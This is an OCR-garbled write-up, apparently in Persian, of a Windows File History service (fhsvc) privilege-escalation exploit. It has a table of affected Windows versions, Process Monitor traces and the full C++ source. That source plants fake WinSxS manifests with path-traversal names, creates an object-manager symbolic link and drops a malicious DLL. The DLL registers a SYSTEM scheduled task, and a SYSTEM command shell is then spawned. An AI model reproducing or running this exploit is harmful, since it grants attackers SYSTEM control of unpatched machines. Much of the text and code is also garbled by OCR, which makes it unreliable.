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Windows Server 2019

x64-

10.0.17763.47375 10.0.0

Windows 10 Version 1809

32-bit , x64- , ARM64-

10.0.17763.47375 10.0.0

Windows Server 2019 (Server Core installation) X64- 10.0.17763.47371 10.0.0

. 10.0.20348.1906 & 10.0.0
Windows Server 2022 X64- 10.0.20348.1903510.0.0
Windows 11 version 21H2 x64- , ARM64- 10.0.22000.2295% 10.0.0
Windows 10 Version 21H2 32-bit , ARM64- 10.0.19044.3324% 10.0.0
Windows 11 version 22H2 ARMG64- |, x64- 10.0.22621.2134% 10.0.0

Windows 10 Version 22H2

x64- , ARM64- , 32-bit

10.0.19045.33245 10.0.0

Windows 10 Version 1507 32-bit , x64- 10.0.10240.20107¢ 10.0.0
Windows 10 Version 1607 32-bit , x64- 10.0.14393.61674 10.0.0
Windows Server 2016 X64- 10.0.14393.61674 10.0.0
Windows Server 2016 (Server Core installation) X64- 10.0.14393.61674% 10.0.0
Windows Server 2008 Service Pack 2 32-bit 6.0.6003.222164% 6.0.0
Wlnd_ows Se_rver 2008 Service Pack 2 (Server 32-bit |, x64- 6.0.6003.222165 6.0.0
Core installation)
Windows Server 2008 Service Pack 2 X64- 6.0.6003.222164% 6.0.0
Windows Server 2008 R2 Service Pack 1 X64- 6.1.7601.26664% 6.1.0
Wlnd_ows Ser_ver 2008 R2 Service Pack 1 (Server 64- 6.1.7601.266645 6.0.0
Core installation)
Windows Server 2012 x64- 6.2.9200.244145 6.2.0
Windows Server 2012 (Server Core installation) X64- 6.2.9200.24414% 6.2.0
Windows Server 2012 R2 x64- 6.3.9600.215034 6.3.0
WlndOV\_/s Server 2012 R2 (Server Core 64- 6.3.9600 215035 6.3.0
installation)
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5SS Cugr s CSISS.eXe plplo il Cogr xSl jo LU dsdu U gy ally g c0gd

1] ol wersson="1,0" encoding="UTF-8" starddons="yes 7=

2| <) Copymght {£) Micrasoft Comparation —>

3| <assembly ¥ming="um;schemas-miorsaft-com:asm.vl® manfestversion="1,0">
4| <assamblyldertiy

5 werson="5,1.0.07

[ processorArchitecture =" amadit4"

7 name="Hicrosoft. Windows. FieHstory. Core. ConfigManager™
8 type="rwr "

2 >
10

1 Cimscrptinon>Fe Hetory Config Manager</ desoripbon=

13| cdependency>

14 <dependenthssemiy >

15 <acsemblyldentiy

16 rypa="wniz"

17 iz "Micresaft., Windows, Common-Controk™
18 wersion="5.0.0.07

19 processorirchibechure="*"

20 publickey Token="6595b641 Hocf1dF
21 lanigusge="4"

22 i=

23 «/dependentissembh=

M| oidependency>

25

26| < fassambiy>

7

Camiilo S 16 sl Sownly -V &

aile) WS o o Lil ez (6,955 plo G g so pss |, DosDeviCES Jgore )5 S a5 LK
Comile 18 Ci\Users\Publicltest lscas C: Jlos 4 csrss.exe  w «(C:\Users\Public\test

Candble b cand Gl a4 axgi L oopoled Wign a5l e VOIS ale 008 6
Jlosa Csrss.exe fhcfg.dll.manifest

C:\Users\Public\test\Windows\WinSxS\Manifests\amd64_microsoft.windows.common-
controls_6595b64144ccfldf 6.0.22621.1635 none_270f70857386168efhcfg.dll.manifest
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csx R Nor

¥ csrs Success

W csrss. exe SUCCESS

W csrss exe NAME NOT FOUND

I csTss. exe SUCCESS
Syste=32\en SucCcess

FinSxs) Fu: on\amd84_sicrosoft. windows. common-controls_6395b64144ccf1df_sh-cn_85d2dfB57440£330\6. 016. 0. 0. O\am .
csTSs. exe Windows. Common—Controls\6. 0. 0. 0_zh-CX_6595664144ccf1df \Wicrosoft. Windows. Common-Co. ..
c3rss. exe ndows. Common-Controls. DLL

C5rss. exe 1 =\ d 71 N\Microsoft. Windows. Common-Controls. MANIFEST

csrss. exe System32\zh-CN'

cErss. exe System32\zh-CN\Microsoft. Windows. Common-Controls\Microsoft.

csrss. exe WinSxS'Fusion\amdf4_pol . 0. microsof. . ows. common-contr: 607becf178
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£t. ¥indows. Common-Control 3 ndows, Common-Controls. MANIFEST
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soft. windows. common-controls_6595
ndows, Common~Controls\6. 0. 0. 0_zk
0.=microsof. . ows. common-cont:
windows, common-controls_86595b€41
ndows. Commen-Controls\6. 0. 0. 0_en-US_63
dows. Common-Controls. DLL
ndows. Common-Controls. MANIFEST
dows. Common-Controls\Microsoft. Findows. Common-Controls. DLL
Common-Controls\Microsoft. Findows. Common-Controls. MANIFEST
rosof. . ows. common-controls, 699:b€4 44ccf1df_en_38ed61180cd0c3d0 b
ndows. common-controls_68595bi df_en_c 379442944718, 016. 0. 0. 0\and64 .. PaTH
Windows, Commen-Controls 6. 0. 0. 0_en, G:Babél 44ccf1df \Microsoft. Windows, Common-Contxr. . .
-;:temz \en\Microsoft. Findows. Common—Controls. DLL

¥indows\System32\en\Microsoft. Windows, Common-Cont: MANIFEST
: \Windows\System32\en\Microsoft. Windows.
:\Windows\Syste=32\en\Microsoft.
: \Windows \WinSxS\Fusion\andé4_sicrol
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H by
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System32\ on-LS
=32
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ol o |, manifest.manifest 4 test.manifest .msasnl.dll exe sl L Wb (53 ] sl
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SYSTEMDRIVE ok

s\Public
rs\Public\tes

Manifests ok
fests\amd64_microsoft.windows.common—-controls_6595b6414deccfldf_

Windows\W
ows\Wi
.manifest

ice ok
CreateNamedPipe
Wait for the exploit to succeed
The exploit was successful
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Sl b cal Jled e b ason U g L,Td.fawS‘sw”; Db el oo ol oM e Sl ass
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#include
#include
#include
#include
#include
#include
#pragma
#pragma
#pragma

wchar t
wchar t

<stdio.h>

<windows.h>

<iostream>

<strsafe.h>

<userenv.h>

<winternl.h>

comment (1ib, "ntdll.lib")
comment (1ib, "Userenv.lib")
warning (disable:4996)

FakeFileNamel [MAX PATH] =
FakeFileName2 [MAX PATH] =

wchar t manifestFileName [MAX PATH] = ({

HANDLE SymlinkHandle;
wchar t buffer[MAX PATH] = { 0 };

#define SYMBOLIC LINK ALL ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)
extern "C" int NTAPI NtCreateSymbolicLinkObject (OUT PHANDLE
SymbolicLinkHandle,

IN ACCESS MASK DesiredAccess,

IN POBJECT ATTRIBUTES ObjectAttributes,
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IN PUNICODE_STRING TargetName) ;

HANDLE nCreateSymbolicLink () {

HANDLE SymbolicLinkHandle = NULL;

UNICODE STRING TargetObjectName = { 0 };
OBJECT ATTRIBUTES ObjectAttributes = { 0 };
UNICODE STRING SymbolicLinkObjectName = { 0 };

WCHAR path[MAX_PATH]{O};

WCHAR pach[MAX_PATH]{ 0 };

wcscat (path, L"\\22\\");

wcscat (path, buffer);

wcscat (path2, L"\\GLOBAL??\\");

wcscat (path2, buffer);

wcscat (path2, L"\\Users\\Public\\test");

RtlInitUnicodeString (&SymbolicLinkObjectName, path);
RtlInitUnicodeString (&TargetObjectName, path2);
InitializeObjectAttributes (&0ObjectAttributes,

&SymbolicLinkObjectName,

OBJ CASE INSENSITIVE,

NULL,

NULL) ;

int NtStatus = NtCreateSymbolicLinkObject (&SymbolicLinkHandle,
SYMBOLIC LINK ALL ACCESS,
&ObjectAttributes,
&TargetObjectName) ;

if (NtStatus != 0) {
printf ("[-] Failed to open object directory: 0x%X\n", NtStatus);

}
return SymbolicLinkHandle;

}

VOID exit ();

void RunCMD ()

{
HANDLE ProcessHandle = NULL;
HANDLE CurrentToken = NULL;
HANDLE TokenDup = NULL;

ProcessHandle = GetCurrentProcess|();
if (!OpenProcessToken (ProcessHandle, TOKEN ALL ACCESS,
&CurrentToken))
{
return;
}
if (!DuplicateTokenEx (CurrentToken, MAXIMUM ALLOWED, NULL,
SecurityIdentification, TokenPrimary, &TokenDup))
{
return;
}
DWORD dwSessionID = 1;
if (!SetTokenInformation (TokenDup, TokenSessionId, &dwSessionID,
sizeof (DWORD) ))
{
return;

}
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STARTUPINFO si;

PROCESS INFORMATION pi;

ZeroMemory (&si, sizeof (STARTUPINFO)) ;
ZeroMemory (&pi, sizeof (PROCESS INFORMATION)) ;
si.cb = sizeof (STARTUPINFO) ;

si.lpDesktop = (LPWSTR)L"WinStaO\\Default";

LPVOID pEnv = NULL;

DWORD dwCreationFlags = NORMAL PRIORITY CLASS | CREATE NEW CONSOLE |
CREATE UNICODE ENVIRONMENT;

if (!CreateEnvironmentBlock (&pEnv, TokenDup, FALSE))

{

return;
}
wchar t cmdpath[MAX PATH] = { 0 };
wchar t WinPath[MAX PATH] = { 0 };

if (!GetEnvironmentVariableW (L"SYSTEMROOT", WinPath, MAX PATH))
{

return;

}

wcscat (cmdpath, WinPath);
wcscat (cmdpath, L"\\system32\\cmd.exe") ;

if (!CreateProcessAsUserW (TokenDup, cmdpath, (LPWSTR)L" /k cd
..\\..A\\..\\..", NULL, NULL, FALSE, dwCreationFlags, pEnv, NULL, &si,
&pi))

{

return;

}

void TraverseDirectory(wchar t Dir[MAX PATH])
{
WIN32_FIND_DATA FindFileData;
HANDLE hFind = INVALID HANDLE VALUE;
wchar t DirSpec[MAX PATH]{0};
DWORD dwError;
StringCchCopy (DirSpec, MAX PATH, Dir);
StringCchCat (DirSpec, MAX PATH, TEXT ("\\*"));

hFind = FindFirstFile (DirSpec, &FindFileData);

if (hFind == INVALID HANDLE VALUE)

{
FindClose (hFind) ;
}

else
{
while (FindNextFile (hFind, &FindFileData) != 0)
{
if ((FindFileData.dwFileAttributes &
FILE_ATTRIBUTE_DIRECTORY) '= 0 && wcscmp (FindFileData.cFileName, L".") ==
0 || wcscmp (FindFileData.cFileName, L"..") == 0)

{

continue;
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if ((FindFileData.dwFileAttributes &
FILE_ATTRIBUTE_DIRECTORY) = 0)

{

wchar t DirAdd[MAX PATH]{0};

StringCchCopy (DirAdd, MAX PATH, Dir);

StringCchCat (DirAdd, MAX_PATH, TEXT ("\\")) ;
StringCchCat (DirAdd, MAX PATH, FindFileData.cFileName);
TraverseDirectory (DirAdd) ;

RemoveDirectoryW (DirAdd) ;

else

WCHAR path[1000] = { 0 };

wcscpy (path, Dir);

wcscat (path, L"\\");

wcscat (path, FindFileData.cFileName) ;
DeleteFile (path);

}
}
FindClose (hFind) ;

return;

}

BOOL findfile(wchar t Dir[MAX PATH])
{
WIN32 FIND DATA FindFileData;
HANDLE hFind = INVALID HANDLE VALUE;
wchar t DirSpec[MAX PATH]{0};
DWORD dwError;
StringCchCopy (DirSpec, MAX PATH, Dir);
StringCchCat (DirSpec, MAX PATH, TEXT ("\\*")) ;

hFind = FindFirstFile (DirSpec, &FindFileData);

if (hFind == INVALID_HANDLE_VALUE)
{

FindClose (hFind) ;
}

else
{
while (FindNextFile (hFind, &FindFileData) != 0)
{
if ((FindFileData.dwFileAttributes &
FILE_ATTRIBUTE_DIRECTORY) =0
&& wcscmp (FindFileData.cFileName, L".") == 0 ||
wcscmp (FindFileData.cFileName, L"..") == 0)
{
continue;
}
if ((FindFileData.dwFileAttributes &
FILE_ATTRIBUTE_DIRECTORY) = 0)

{

continue;

}

ole rguvaib el €yl 35 o dlasio dow (pl (Gar0 9 (soLo Gl allS



10

if

Gyl oo

((wcsstr (FindFileData.cFileName, L"amd64 microsoft.windows.common-

controls 6595b64144ccfldf 6.0.")))
{

wcscat (manifestFileName,

return TRUE;
}

}
FindClose (hFind) ;

return NULL;
}

VOID CreatetestFile () {

wchar t
wchar t
wchar t
wchar t
wchar t

FakeFileName3 [MAX PATH] {
FakeFileName4 [MAX PATH] {
FakeFileName5 [MAX PATH] {
FakeFileName6 [MAX PATH] {
FakeFileName7 [MAX PATH] {

if

{
printf (" [-]
exit (-1);

}

printf (" [+]

wcscat (FakeFileNamel,
wcscat (FakeFileNamel,

buffer);

wcscat (FakeFileName2,
wcscat (FakeFileName2,

buffer);

TraverseDirectory (FakeFileNamel) ;

RemoveDirectoryW (FakeFileNamel) ;

TraverseDirectory (FakeFileName?2) ;

RemoveDirectoryW (FakeFileName?2) ;

int ret = CreateDirectoryW (FakeFileName2,
if ('ret)
{
printf ("[-] CreateDirectoryW %S\n",
exit ();

}
printf (" [+]

ret =
if ('ret)
{
printf (" [-]
exit ()
}
printf (" [+]

L"\\test");

O O O oo

}i
}i
}s
}s
}i

CreateDirectoryW %S ok\n",

CreateDirectoryW (FakeFileNamel,

CreateDirectoryW %S\n",

CreateDirectoryW %S ok\n",

FindFileData.cFileName) ;

(!GetEnvironmentVariableW (L"SYSTEMDRIVE", buffer, MAX PATH))

GetEnvironmentVariableW SYSTEMDRIVE Error\n");

GetEnvironmentVariableW SYSTEMDRIVE ok\n");

L"\\Users\\Public\\test");

0);

FakeFileName?2) ;

FakeFileName?2) ;

0);

FakeFileNamel) ;

FakeFileNamel) ;
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wcscat (FakeFileName3, FakeFileNamel) ;
wcscat (FakeFileName3, L"\\Windows") ;

ret = CreateDirectoryW (FakeFileName3, O0);

if (l!ret)

{
printf ("[-] CreateDirectoryW %S\n", FakeFileName3);
exit ()

}

printf ("[+] CreateDirectoryW %S ok\n", FakeFileName3) ;

wcscat (FakeFileName3, L"\\System32");

ret = CreateDirectoryW (FakeFileName3, O0);

if (l!ret)

{
printf ("[-] CreateDirectoryW %S\n", FakeFileName3);
exit ();

}

printf ("[+] CreateDirectoryW %S ok\n", FakeFileName3) ;

wcscat (FakeFileName3, L"\\fhcfg.dll");

HANDLE hFILE3 = CreateFileW (FakeFileName3,
GENERI C_WRI TE, 0, NULL, OPEN_ALWAYS , FILE_ATTRIBUTE_NORMAL ,

NULL) ;
if (hFILE3 == INVALID_HANDLE_VALUE)
{
printf ("[-] CreateFileW %$S\n", FakeFileName3);
exit ()

}

printf ("[+] CreateFileW %S ok\n", FakeFileName3);
CloseHandle (hFILE3) ;

wcscat (FakeFileName4, FakeFileNamel) ;

WCHAR szModule[MAX PATH]{0};
GetModuleFileNameW (NULL, szModule, MAX PATH);
wcscat (FakeFileName4d4, L"\\test.exe");

ret = CopyFileW (szModule, FakeFileName4, FALSE);

if (!ret)

{
printf ("[-] CopyFileW %S\n", FakeFileNamed) ;
exit ()

}

printf ("[+] CopyFileW ok %S\n", FakeFileName4);

wcscat (FakeFileName5, FakeFileNamel) ;
wcscat (FakeFileName5, L"\\test");

ret = CreateDirectoryW (FakeFileName5, 0);

if (!ret)

{
printf ("[-] CreateDirectoryW %S\n", FakeFileNameb5) ;
exit ()

}

printf (" [+] CreateDirectoryW %S ok\n", FakeFileNameb);

wcscat (FakeFileNameb5, L"\\test.manifest");
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ret = CopyFileW(L"test.manifest", FakeFileName5, FALSE);
if (l!ret)
{
printf ("[-] CopyFileW %S\n", FakeFileNameb) ;
exit ()
}
printf ("[+] CopyFileW ok $S\n", FakeFileName5);
wcscat (FakeFileName6, buffer);
wcscat (FakeFileName6, L"\\Windows\\WinSxS\\Manifests");

if (!findfile (FakeFileNameo6))

{
printf ("[-] findfile %S\n", FakeFileNameo6) ;
exit ();

}

printf ("[+] findfile %S ok\n", FakeFileName6) ;

memset (FakeFileName6, 0, MAX PATH * 2);
wcscat (FakeFileName6, FakeFileNamel) ;
wcscat (FakeFileName6, L"\\Windows\\WinSxS") ;

ret = CreateDirectoryW (FakeFileName6, O0);

if ('ret)

{
printf ("[-] CreateDirectoryW %$S\n", FakeFileNameo6) ;
exit ()

}

printf ("[+] CreateDirectoryW %S ok\n", FakeFileNameo6) ;

wcscat (FakeFileName6, L"\\Manifests"):;

ret = CreateDirectoryW (FakeFileName6, O0);

if (!'ret)

{
printf ("[-] CreateDirectoryW %S\n", FakeFileNameo6) ;
exit ()

}

printf ("[+] CreateDirectoryW %S ok\n", FakeFileNameo6) ;

wcscat (FakeFileName6, L"\\");
wcscat (FakeFileName6, manifestFileName) ;

ret = CopyFileW(L"manifest.manifest", FakeFileName6, FALSE);
if ('ret)
{
printf ("[-] CopyFileW %S\n", FakeFileNameo6) ;
exit ()
}
printf ("[+] CopyFileW ok %$S\n", FakeFileName6) ;

wcscat (FakeFileName7, FakeFileName?2) ;
wcscat (FakeFileName7, L"\\msasnl.dll");

ret = CopyFileW (L"msasnl.dll", FakeFileName7, FALSE);
if (!ret)
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printf ("[-] CopyFileW %S\n", FakeFileName7);
exit ()
}
printf ("[+] CopyFileW ok $S\n", FakeFileName7);
}

VOID exit () {

CloseHandle (SymlinkHandle) ;
TraverseDirectory (FakeFileNamel) ;
RemoveDirectoryW (FakeFileNamel) ;
TraverseDirectory (FakeFileName?2) ;
RemoveDirectoryW (FakeFileName?2) ;
exit (-1);

}

VOID th() {
Sleep (40000) ;
printf ("[-] Time exceeded, exploit failed");
exit ();
}
int main(int argc, char** argv)
{
HANDLE handle = OpenEventW (MAXIMUM ALLOWED, O,
L"Global\\TyphoonPWN") ;
if (handle) {
RunCMD () ;
system("\"schtasks \/delete \/tn \\Testl \/f\"");
CreateFileW (L"\\\\.\\Pipe\\TyphoonPWN", GENERIC READ |
GENERIC WRITE, O,
NULL, OPEN EXISTING, FILE ATTRIBUTE NORMAL, NULL) ;
exit (-1);
}
else

{
CreatetestFile () ;
SymlinkHandle = nCreateSymbolicLink();

if (SymlinkHandle == INVALID HANDLE VALUE) {
printf ("[!] CreateSymbolicLink error %d\n", GetLastError()):;
return 1;

}
printf ("[+] CreateSymbolicLink ok \n");

CreateEventW (0, 0, 0, L"Global\\TyphoonPWN") ;

SC_HANDLE scmHandle = OpenSCManager (NULL, NULL, MAXIMUM ALLOWED) ;
if (!scmHandle)

printf ("[-] Failed to open SCM: %d\n", GetLastError());
exit ();

}

printf ("[+] OpenSCManager ok\n");
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SC_HANDLE serviceHandle = OpenServiceW (scmHandle, L"fhsvc",
MAXIMUM ALLOWED )

if (!serviceHandle)

{
printf ("[-] Failed to open service: %d\n", GetLastError());
exit ()

}

printf ("[+] OpenServiceW ok\n");

if (!StartService (serviceHandle, 0, NULL))

{
printf ("[-] Failed to start service: %d\n", GetLastError()):;
exit ();

}
printf ("[+] StartService ok\n");

Sleep(3000) ;
CloseHandle (SymlinkHandle) ;

HANDLE hPipe = CreateNamedPipe (L"\\\\.\\Pipe\\TyphoonPWN",
PIPE ACCESS DUPLEX, PIPE TYPE MESSAGE | PIPE READMODE MESSAGE | PIPE WAIT
, PIPE UNLIMITED INSTANCES, 0, 0, NMPWAIT WAIT FOREVER, O0);
if (hPipe)
{
printf ("[+] CreateNamedPipe\n");
}

else

{
printf ("[-] CreateNamedPipe error %$x\n", GetLastError());
exit ()

}
CreateThread (0, O, (LPTHREAD START ROUTINE) th, 0, 0, 0);
printf ("[!] Wait for the exploit to succeed ....... \n") ;

if (ConnectNamedPipe (hPipe, NULL) != NULL)
{

printf ("[+] The exploit was successfull\n");
Sleep (100) ;
exit ()

return 0;

D9l Ay ) O)ge 4 Wb Msasnl.dll L

#include"pch.h"
#include <stdio.h>
#include <windows.h>
#include <iostream>
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#include <strsafe.h>

#include <userenv.h>

#include <winternl.h>

#pragma comment (1ib, "ntdll.lib")
#pragma comment (1ib, "Userenv.lib")
#pragma warning(disable:4996)

BOOL APIENTRY Dl1Main (HMODULE hModule,
DWORD ul reason for call,
LPVOID lpReserved

switch (ul _reason for call)

{
case DLL PROCESS ATTACH:

char c¢cmd[1000] = { O };
strcat (cmd, "\"schtasks \/create \/sc minute \/mo 20 \/tn
\"Testl\" \/tr ");

char output[256];
WCHAR buffer[256];
if (!GetEnvironmentVariableW(L"SYSTEMDRIVE", buffer, MAX PATH))
{
exit (-1);
}
wcscat (buffer, L"\\Users\\Public\\test\\test.exe");
sprintf (output, "%$ws", buffer);
strcat (cmd, output):;
strcat (cmd, " \/ru SYSTEM \/RL HIGHEST\"");
system (cmd) ;
system ("\"schtasks \/run \/tn \\Testl\"");
exit (-1);
break;

}
return TRUE;

1D oo Ayl p ) O yeo 4 test.manifest L

<assembly
xmlns='urn:schemas-microsoft-com:asm.v1l' manifestVersion='1.0">
<assemblylIdentity
name="..\..\..\..\..\..\test\test"

version='6.0.0.0"
processorArchitecture="'amdé64'
publicKeyToken="'6595b64144ccfldf"’
type='win32'/>
<file name='msasnl.dll'/>
</assembly>

g Jlg> 5 & soas Manifest.manifest LB ccolys 4o
<?xml version="1.0" encoding="utf-8" standalone="yes"?>

<assembly xmlns="urn:schemas-microsoft-com:asm.v1l" manifestVersion="1.0"
copyright="Copyright (c) Microsoft Corporation. All Rights Reserved."
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xmlns:cmiv2="urn:schemas-microsoft-com:asm.v3" cmiv2:copyright="Copyright
(c) Microsoft Corporation. All Rights Reserved.">
<noInheritable />
<dependency optional="yes" cmiv2:discoverable="no">
<dependentAssembly>
<assemblyIdentity name="..\..\..\..\..\..\test\test"
version="6.0.0.0" processorArchitecture="amd64" language="*"
publicKeyToken="6595b64144ccfldf" type="win32" />
</dependentAssembly>
</dependency>
</assembly>
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[1] https://cybersecuritynews.com/windowss-file-history-service-flaw/

[2]https://ssd-disclosure.com/ssd-advisory-file-history-service-fhsvc-dll-elevation-of-privilege/
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